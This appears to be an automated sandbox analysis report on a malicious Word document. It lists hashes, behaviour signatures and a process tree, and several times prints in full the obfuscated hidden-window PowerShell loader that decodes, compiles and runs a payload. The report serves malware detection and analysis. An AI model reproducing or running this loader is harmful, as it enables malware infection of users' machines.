ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
152s
max time network
166s
platform
windows10_x64
resource
win10v200217
submitted
19-02-2020 13:59

Sharing

Copy URL

Twitter E-mail

General

Target

2020-02-11_235212.doc
Size

507KB
MD5

0f4cf7f9c8dd29eb29e61900cc6d6a2e
SHA1

92a777d5ff128410e7a6bfe08bf0b6c05348ef9b
SHA256

973e336a3a0b7e0a4f0596fc5f0e02a0b83817bb350581f4c7bf7f4b81fbdc01
SHA512

329f141dfef3789a5be77ff5cff3b4c246f02c63c2e1130fc81839fc49221626558537323bf4037aa8d735a2d85f3dc72e267289043dd42dbd345a34f5171ef9

Score

10^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
956	powershell.exe
2140	powershell.exe
956	powershell.exe
2140	powershell.exe
2344	powershell.exe
2344	powershell.exe
2636	powershell.exe
2636	powershell.exe
980	powershell.exe
980	powershell.exe
956	powershell.exe
2344	powershell.exe
980	powershell.exe
2636	powershell.exe
2140	powershell.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3528	WINWORD.EXE
3528	WINWORD.EXE

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 1304 wrote to memory of 956	1304	EXCEL.EXE	74
PID 1304 wrote to memory of 956	1304	EXCEL.EXE	74
PID 3456 wrote to memory of 2140	3456	EXCEL.EXE	78
PID 3456 wrote to memory of 2140	3456	EXCEL.EXE	78
PID 356 wrote to memory of 2344	356	EXCEL.EXE	81
PID 356 wrote to memory of 2344	356	EXCEL.EXE	81
PID 2096 wrote to memory of 2636	2096	EXCEL.EXE	84
PID 2096 wrote to memory of 2636	2096	EXCEL.EXE	84
PID 3472 wrote to memory of 980	3472	EXCEL.EXE	87
PID 3472 wrote to memory of 980	3472	EXCEL.EXE	87
PID 980 wrote to memory of 4428	980	powershell.exe	92
PID 980 wrote to memory of 4428	980	powershell.exe	92
PID 956 wrote to memory of 4412	956	powershell.exe	90
PID 956 wrote to memory of 4412	956	powershell.exe	90
PID 2636 wrote to memory of 4420	2636	powershell.exe	91
PID 2636 wrote to memory of 4420	2636	powershell.exe	91
PID 2344 wrote to memory of 4440	2344	powershell.exe	93
PID 2344 wrote to memory of 4440	2344	powershell.exe	93
PID 2140 wrote to memory of 4404	2140	powershell.exe	94
PID 2140 wrote to memory of 4404	2140	powershell.exe	94
PID 4412 wrote to memory of 4540	4412	csc.exe	96
PID 4412 wrote to memory of 4540	4412	csc.exe	96
PID 4428 wrote to memory of 4532	4428	csc.exe	95
PID 4428 wrote to memory of 4532	4428	csc.exe	95
PID 4420 wrote to memory of 4548	4420	csc.exe	98
PID 4420 wrote to memory of 4548	4420	csc.exe	98
PID 4404 wrote to memory of 4556	4404	csc.exe	97
PID 4404 wrote to memory of 4556	4404	csc.exe	97
PID 4440 wrote to memory of 4564	4440	csc.exe	99
PID 4440 wrote to memory of 4564	4440	csc.exe	99

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	956	powershell.exe
Token: SeDebugPrivilege	2140	powershell.exe
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	980	powershell.exe

Checks processor information in registry 2 TTPs 21 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	excelcnv.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 21 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious use of SetWindowsHookEx 29 IoCs

pid	Process
3528	WINWORD.EXE
3528	WINWORD.EXE
3528	WINWORD.EXE
1304	EXCEL.EXE
1304	EXCEL.EXE
1304	EXCEL.EXE
1304	EXCEL.EXE
3456	EXCEL.EXE
3456	EXCEL.EXE
3456	EXCEL.EXE
3456	EXCEL.EXE
356	EXCEL.EXE
356	EXCEL.EXE
356	EXCEL.EXE
356	EXCEL.EXE
2096	EXCEL.EXE
2096	EXCEL.EXE
2096	EXCEL.EXE
2096	EXCEL.EXE
3472	EXCEL.EXE
3472	EXCEL.EXE
3472	EXCEL.EXE
3472	EXCEL.EXE
4152	excelcnv.exe
3528	WINWORD.EXE
3528	WINWORD.EXE
3528	WINWORD.EXE
3528	WINWORD.EXE
3528	WINWORD.EXE

Process spawned unexpected child process 5 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	956	1304	powershell.exe	68
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2140	3456	powershell.exe	77
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2344	356	powershell.exe	80
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2636	2096	powershell.exe	83
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	980	3472	powershell.exe	86

Blacklisted process makes network request 1 IoCs

flow	pid	Process
36	2140	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-02-11_235212.doc" /o ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:3528

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of WriteProcessMemory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:1304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden function u67563 {param($u4529)$pb5b6='h16fdb8';$p349fdb='';for ($i=0; $i -lt $u4529.length;$i+=2){$x2cdd91=[convert]::ToByte($u4529.Substring($i,2),16);$p349fdb+=[char]($x2cdd91 -bxor $pb5b6[($i/2)%$pb5b6.length]);}return $p349fdb;} $o67cb4 = '1d425f0803426b1142420309594d1b5858014431411b45530b4a304d06455f0b014c71064553140b126b0d43400f07074b5344450f0a05183b484512010f162c5857010a0d4b1c5855155f174b015f5146371b4b1c545b482d2d031d425f0803426b11424203094c760d450d6b6e124d0a5d5f05440154094245460a510f0a5301041f397c045d7f0b140d4a1c19140d0110560d5d0554464e7d0645441f340d5106450b4423074c3843590525065c1a544515464b6548414304080b5b48424207100b5b48544e120110564878581234164a484350545c5610215f423610101806525407054e4b1c435f080342420c070253070311536a720a082b55185e44124c40530d43580308510a4a1d16230a164a1161590f0a16185511142a0b035c245854140510414a186b4614175a045855461716591c585546011a4c0d4358462d0c4c384544461c065d0c50504e17164a015f514611075d0e021f5d3f265404785b160b104c40135d03160c5d0402044448427d0645441f340d5106450b44320b4a1c44570a3410571c545512464b6548414304080b5b48424207100b5b48544e12011056485359090842595b060f054c2b561c61421444150b5d030253554e6d215f42361010180c52505451065e4411430f0a16181102000455570e4411591310424d015f42461603015c030e4f5f397c045d7f0b140d4a1c19142d0110560d5d05544a065404131a46210c4c1a4866090d0c4c55136412082f571e547b03090d4a11131a4637074c2450451221104a07430b00050e4b0d186b461716591c585546011a4c0d435846120d510c1140555c045e5e021e2f0a16681c43160401540a5c1d7f0810324c1a115b0001530b591d5f0810424b0c0300004d59481d535a0f07424b1c50420f0742510645161757570c0a061e4f1f2b561c614214440d5d0a570e055742054849520300035e4044005151540b4013065f51010c5d01505205520e5d050652464b115358504e0b075a0e095555595f7106456612164c620d43594f1f05571c5e16095c560b5108045d192b561c61421444005a50070150535f4a0e030e524c0d5d0a570e05574e4d5e060350574a1a5a0803055057080e02015655570158070155505108580104565356594a181f5d0d04100a530e5053540f550c7f0810324c1a1f6c03160d11135659120b42575005055f5d500315647f0810324c1a11515057500a5519632f0a16681c431f535f17510645160e065b0b5e07025b5459510e1917075755010b1954045c540f5e061a0152510a5a1d061e505214074442460c00015b0700524d4b430f5e4209440d005c020f5f5659452a4842033f3f180e005055075f43584905574852400e571a561c5b08150a7f0810324c1a114c02005b0e557c5714170a59041f770a080d5b20765a0906035440021f5d29034a1b59570a4a215718481e0055040b0b1d064a1e065c51071a554d594e5b095000525110065441462d0c4c3845444e0600005e0600514a3657215f4250504a1143014e5654535a411d4c02005b0e44021f5d0b5a0c5b080f545e426f0d53750a0d07561c11505055570e555f531144355d0a725a0f010c4c40180d151010510656160e50070b5f0c7308120b4a075f5b030a16162f5442200b0e5c0d436607100a102d5f400f160d56055458124a31480d525f07082457045553144a2348185d5f05051651075f720710031143136a3a13010b5b0304444f170e5f0400554c400c5e04025201520b4a180d0052530d5e1f7209130c54075052200d0e5d4044005151540b4013065650570c5a00005301565c5906035f54530859050e53515759580002505452085e050e5351570f5809025151560d59050f5307570d5801035e545a085a050e565553595d55144f480a0c0d02014f5f324a0752531517314c0943422f0a045748530e5f50030f555f531144324a0752531517314c0943422f0a0457405902035755115361440907074b1b1f651205104c40530e5f50030f410a440310174a0611065d19124d0a5d5f0544114c09455f0544114c1a58580144170e5f0400554c114c1a58580144145d0b0302514d194b1c435f080342560b53570759405059075002065a1a534242140d0c5f4849520300035e556242140d0c5f46745b16101b030e5e444e0d0c4c48580b565f0b041e54555450551624545801100a03011a0b544d195a1145534616040a50050b250b0c4e0d434248300d7a1145534e12075b5a05014837175a1b45440f0a0510011d044f48530e410a4e020106590e1a0b4e070a591a181e140250005c1168460a015a09506d4e0d4d0a411113460a015a0950182a010c5f1c596b4f5f1f4a0d4543140a42400c54520702594515'; $o67cb42 = u67563($o67cb4); Add-Type -TypeDefinition $o67cb42; [n37bb7b]::q354b7();
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  - Suspicious use of AdjustPrivilegeToken
  - Process spawned unexpected child process
  PID:956
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\x0hrcf3z\x0hrcf3z.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4412
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7759.tmp" "c:\Users\Admin\AppData\Local\Temp\x0hrcf3z\CSC65BE85AB217F4191B03FABB821476080.TMP"
      4⤵
      PID:4540

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of WriteProcessMemory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:3456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden function u67563 {param($u4529)$pb5b6='h16fdb8';$p349fdb='';for ($i=0; $i -lt $u4529.length;$i+=2){$x2cdd91=[convert]::ToByte($u4529.Substring($i,2),16);$p349fdb+=[char]($x2cdd91 -bxor $pb5b6[($i/2)%$pb5b6.length]);}return $p349fdb;} $o67cb4 = '1d425f0803426b1142420309594d1b5858014431411b45530b4a304d06455f0b014c71064553140b126b0d43400f07074b5344450f0a05183b484512010f162c5857010a0d4b1c5855155f174b015f5146371b4b1c545b482d2d031d425f0803426b11424203094c760d450d6b6e124d0a5d5f05440154094245460a510f0a5301041f397c045d7f0b140d4a1c19140d0110560d5d0554464e7d0645441f340d5106450b4423074c3843590525065c1a544515464b6548414304080b5b48424207100b5b48544e120110564878581234164a484350545c5610215f423610101806525407054e4b1c435f080342420c070253070311536a720a082b55185e44124c40530d43580308510a4a1d16230a164a1161590f0a16185511142a0b035c245854140510414a186b4614175a045855461716591c585546011a4c0d4358462d0c4c384544461c065d0c50504e17164a015f514611075d0e021f5d3f265404785b160b104c40135d03160c5d0402044448427d0645441f340d5106450b44320b4a1c44570a3410571c545512464b6548414304080b5b48424207100b5b48544e12011056485359090842595b060f054c2b561c61421444150b5d030253554e6d215f42361010180c52505451065e4411430f0a16181102000455570e4411591310424d015f42461603015c030e4f5f397c045d7f0b140d4a1c19142d0110560d5d05544a065404131a46210c4c1a4866090d0c4c55136412082f571e547b03090d4a11131a4637074c2450451221104a07430b00050e4b0d186b461716591c585546011a4c0d435846120d510c1140555c045e5e021e2f0a16681c43160401540a5c1d7f0810324c1a115b0001530b591d5f0810424b0c0300004d59481d535a0f07424b1c50420f0742510645161757570c0a061e4f1f2b561c614214440d5d0a570e055742054849520300035e4044005151540b4013065f51010c5d01505205520e5d050652464b115358504e0b075a0e095555595f7106456612164c620d43594f1f05571c5e16095c560b5108045d192b561c61421444005a50070150535f4a0e030e524c0d5d0a570e05574e4d5e060350574a1a5a0803055057080e02015655570158070155505108580104565356594a181f5d0d04100a530e5053540f550c7f0810324c1a1f6c03160d11135659120b42575005055f5d500315647f0810324c1a11515057500a5519632f0a16681c431f535f17510645160e065b0b5e07025b5459510e1917075755010b1954045c540f5e061a0152510a5a1d061e505214074442460c00015b0700524d4b430f5e4209440d005c020f5f5659452a4842033f3f180e005055075f43584905574852400e571a561c5b08150a7f0810324c1a114c02005b0e557c5714170a59041f770a080d5b20765a0906035440021f5d29034a1b59570a4a215718481e0055040b0b1d064a1e065c51071a554d594e5b095000525110065441462d0c4c3845444e0600005e0600514a3657215f4250504a1143014e5654535a411d4c02005b0e44021f5d0b5a0c5b080f545e426f0d53750a0d07561c11505055570e555f531144355d0a725a0f010c4c40180d151010510656160e50070b5f0c7308120b4a075f5b030a16162f5442200b0e5c0d436607100a102d5f400f160d56055458124a31480d525f07082457045553144a2348185d5f05051651075f720710031143136a3a13010b5b0304444f170e5f0400554c400c5e04025201520b4a180d0052530d5e1f7209130c54075052200d0e5d4044005151540b4013065650570c5a00005301565c5906035f54530859050e53515759580002505452085e050e5351570f5809025151560d59050f5307570d5801035e545a085a050e565553595d55144f480a0c0d02014f5f324a0752531517314c0943422f0a045748530e5f50030f555f531144324a0752531517314c0943422f0a0457405902035755115361440907074b1b1f651205104c40530e5f50030f410a440310174a0611065d19124d0a5d5f0544114c09455f0544114c1a58580144170e5f0400554c114c1a58580144145d0b0302514d194b1c435f080342560b53570759405059075002065a1a534242140d0c5f4849520300035e556242140d0c5f46745b16101b030e5e444e0d0c4c48580b565f0b041e54555450551624545801100a03011a0b544d195a1145534616040a50050b250b0c4e0d434248300d7a1145534e12075b5a05014837175a1b45440f0a0510011d044f48530e410a4e020106590e1a0b4e070a591a181e140250005c1168460a015a09506d4e0d4d0a411113460a015a0950182a010c5f1c596b4f5f1f4a0d4543140a42400c54520702594515'; $o67cb42 = u67563($o67cb4); Add-Type -TypeDefinition $o67cb42; [n37bb7b]::q354b7();
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  - Suspicious use of AdjustPrivilegeToken
  - Process spawned unexpected child process
  - Blacklisted process makes network request
  PID:2140
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1pppdeag\1pppdeag.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4404
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7769.tmp" "c:\Users\Admin\AppData\Local\Temp\1pppdeag\CSC38BA10C766A448CCB8535C919B87EDA1.TMP"
      4⤵
      PID:4556

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of WriteProcessMemory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden function u67563 {param($u4529)$pb5b6='h16fdb8';$p349fdb='';for ($i=0; $i -lt $u4529.length;$i+=2){$x2cdd91=[convert]::ToByte($u4529.Substring($i,2),16);$p349fdb+=[char]($x2cdd91 -bxor $pb5b6[($i/2)%$pb5b6.length]);}return $p349fdb;} $o67cb4 = '1d425f0803426b1142420309594d1b5858014431411b45530b4a304d06455f0b014c71064553140b126b0d43400f07074b5344450f0a05183b484512010f162c5857010a0d4b1c5855155f174b015f5146371b4b1c545b482d2d031d425f0803426b11424203094c760d450d6b6e124d0a5d5f05440154094245460a510f0a5301041f397c045d7f0b140d4a1c19140d0110560d5d0554464e7d0645441f340d5106450b4423074c3843590525065c1a544515464b6548414304080b5b48424207100b5b48544e120110564878581234164a484350545c5610215f423610101806525407054e4b1c435f080342420c070253070311536a720a082b55185e44124c40530d43580308510a4a1d16230a164a1161590f0a16185511142a0b035c245854140510414a186b4614175a045855461716591c585546011a4c0d4358462d0c4c384544461c065d0c50504e17164a015f514611075d0e021f5d3f265404785b160b104c40135d03160c5d0402044448427d0645441f340d5106450b44320b4a1c44570a3410571c545512464b6548414304080b5b48424207100b5b48544e12011056485359090842595b060f054c2b561c61421444150b5d030253554e6d215f42361010180c52505451065e4411430f0a16181102000455570e4411591310424d015f42461603015c030e4f5f397c045d7f0b140d4a1c19142d0110560d5d05544a065404131a46210c4c1a4866090d0c4c55136412082f571e547b03090d4a11131a4637074c2450451221104a07430b00050e4b0d186b461716591c585546011a4c0d435846120d510c1140555c045e5e021e2f0a16681c43160401540a5c1d7f0810324c1a115b0001530b591d5f0810424b0c0300004d59481d535a0f07424b1c50420f0742510645161757570c0a061e4f1f2b561c614214440d5d0a570e055742054849520300035e4044005151540b4013065f51010c5d01505205520e5d050652464b115358504e0b075a0e095555595f7106456612164c620d43594f1f05571c5e16095c560b5108045d192b561c61421444005a50070150535f4a0e030e524c0d5d0a570e05574e4d5e060350574a1a5a0803055057080e02015655570158070155505108580104565356594a181f5d0d04100a530e5053540f550c7f0810324c1a1f6c03160d11135659120b42575005055f5d500315647f0810324c1a11515057500a5519632f0a16681c431f535f17510645160e065b0b5e07025b5459510e1917075755010b1954045c540f5e061a0152510a5a1d061e505214074442460c00015b0700524d4b430f5e4209440d005c020f5f5659452a4842033f3f180e005055075f43584905574852400e571a561c5b08150a7f0810324c1a114c02005b0e557c5714170a59041f770a080d5b20765a0906035440021f5d29034a1b59570a4a215718481e0055040b0b1d064a1e065c51071a554d594e5b095000525110065441462d0c4c3845444e0600005e0600514a3657215f4250504a1143014e5654535a411d4c02005b0e44021f5d0b5a0c5b080f545e426f0d53750a0d07561c11505055570e555f531144355d0a725a0f010c4c40180d151010510656160e50070b5f0c7308120b4a075f5b030a16162f5442200b0e5c0d436607100a102d5f400f160d56055458124a31480d525f07082457045553144a2348185d5f05051651075f720710031143136a3a13010b5b0304444f170e5f0400554c400c5e04025201520b4a180d0052530d5e1f7209130c54075052200d0e5d4044005151540b4013065650570c5a00005301565c5906035f54530859050e53515759580002505452085e050e5351570f5809025151560d59050f5307570d5801035e545a085a050e565553595d55144f480a0c0d02014f5f324a0752531517314c0943422f0a045748530e5f50030f555f531144324a0752531517314c0943422f0a0457405902035755115361440907074b1b1f651205104c40530e5f50030f410a440310174a0611065d19124d0a5d5f0544114c09455f0544114c1a58580144170e5f0400554c114c1a58580144145d0b0302514d194b1c435f080342560b53570759405059075002065a1a534242140d0c5f4849520300035e556242140d0c5f46745b16101b030e5e444e0d0c4c48580b565f0b041e54555450551624545801100a03011a0b544d195a1145534616040a50050b250b0c4e0d434248300d7a1145534e12075b5a05014837175a1b45440f0a0510011d044f48530e410a4e020106590e1a0b4e070a591a181e140250005c1168460a015a09506d4e0d4d0a411113460a015a0950182a010c5f1c596b4f5f1f4a0d4543140a42400c54520702594515'; $o67cb42 = u67563($o67cb4); Add-Type -TypeDefinition $o67cb42; [n37bb7b]::q354b7();
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  - Suspicious use of AdjustPrivilegeToken
  - Process spawned unexpected child process
  PID:2344
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ysvf4mf3\ysvf4mf3.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4440
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES775B.tmp" "c:\Users\Admin\AppData\Local\Temp\ysvf4mf3\CSCE50C9635285A4085A33CD61671C41C59.TMP"
      4⤵
      PID:4564

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of WriteProcessMemory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:2096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden function u67563 {param($u4529)$pb5b6='h16fdb8';$p349fdb='';for ($i=0; $i -lt $u4529.length;$i+=2){$x2cdd91=[convert]::ToByte($u4529.Substring($i,2),16);$p349fdb+=[char]($x2cdd91 -bxor $pb5b6[($i/2)%$pb5b6.length]);}return $p349fdb;} $o67cb4 = '1d425f0803426b1142420309594d1b5858014431411b45530b4a304d06455f0b014c71064553140b126b0d43400f07074b5344450f0a05183b484512010f162c5857010a0d4b1c5855155f174b015f5146371b4b1c545b482d2d031d425f0803426b11424203094c760d450d6b6e124d0a5d5f05440154094245460a510f0a5301041f397c045d7f0b140d4a1c19140d0110560d5d0554464e7d0645441f340d5106450b4423074c3843590525065c1a544515464b6548414304080b5b48424207100b5b48544e120110564878581234164a484350545c5610215f423610101806525407054e4b1c435f080342420c070253070311536a720a082b55185e44124c40530d43580308510a4a1d16230a164a1161590f0a16185511142a0b035c245854140510414a186b4614175a045855461716591c585546011a4c0d4358462d0c4c384544461c065d0c50504e17164a015f514611075d0e021f5d3f265404785b160b104c40135d03160c5d0402044448427d0645441f340d5106450b44320b4a1c44570a3410571c545512464b6548414304080b5b48424207100b5b48544e12011056485359090842595b060f054c2b561c61421444150b5d030253554e6d215f42361010180c52505451065e4411430f0a16181102000455570e4411591310424d015f42461603015c030e4f5f397c045d7f0b140d4a1c19142d0110560d5d05544a065404131a46210c4c1a4866090d0c4c55136412082f571e547b03090d4a11131a4637074c2450451221104a07430b00050e4b0d186b461716591c585546011a4c0d435846120d510c1140555c045e5e021e2f0a16681c43160401540a5c1d7f0810324c1a115b0001530b591d5f0810424b0c0300004d59481d535a0f07424b1c50420f0742510645161757570c0a061e4f1f2b561c614214440d5d0a570e055742054849520300035e4044005151540b4013065f51010c5d01505205520e5d050652464b115358504e0b075a0e095555595f7106456612164c620d43594f1f05571c5e16095c560b5108045d192b561c61421444005a50070150535f4a0e030e524c0d5d0a570e05574e4d5e060350574a1a5a0803055057080e02015655570158070155505108580104565356594a181f5d0d04100a530e5053540f550c7f0810324c1a1f6c03160d11135659120b42575005055f5d500315647f0810324c1a11515057500a5519632f0a16681c431f535f17510645160e065b0b5e07025b5459510e1917075755010b1954045c540f5e061a0152510a5a1d061e505214074442460c00015b0700524d4b430f5e4209440d005c020f5f5659452a4842033f3f180e005055075f43584905574852400e571a561c5b08150a7f0810324c1a114c02005b0e557c5714170a59041f770a080d5b20765a0906035440021f5d29034a1b59570a4a215718481e0055040b0b1d064a1e065c51071a554d594e5b095000525110065441462d0c4c3845444e0600005e0600514a3657215f4250504a1143014e5654535a411d4c02005b0e44021f5d0b5a0c5b080f545e426f0d53750a0d07561c11505055570e555f531144355d0a725a0f010c4c40180d151010510656160e50070b5f0c7308120b4a075f5b030a16162f5442200b0e5c0d436607100a102d5f400f160d56055458124a31480d525f07082457045553144a2348185d5f05051651075f720710031143136a3a13010b5b0304444f170e5f0400554c400c5e04025201520b4a180d0052530d5e1f7209130c54075052200d0e5d4044005151540b4013065650570c5a00005301565c5906035f54530859050e53515759580002505452085e050e5351570f5809025151560d59050f5307570d5801035e545a085a050e565553595d55144f480a0c0d02014f5f324a0752531517314c0943422f0a045748530e5f50030f555f531144324a0752531517314c0943422f0a0457405902035755115361440907074b1b1f651205104c40530e5f50030f410a440310174a0611065d19124d0a5d5f0544114c09455f0544114c1a58580144170e5f0400554c114c1a58580144145d0b0302514d194b1c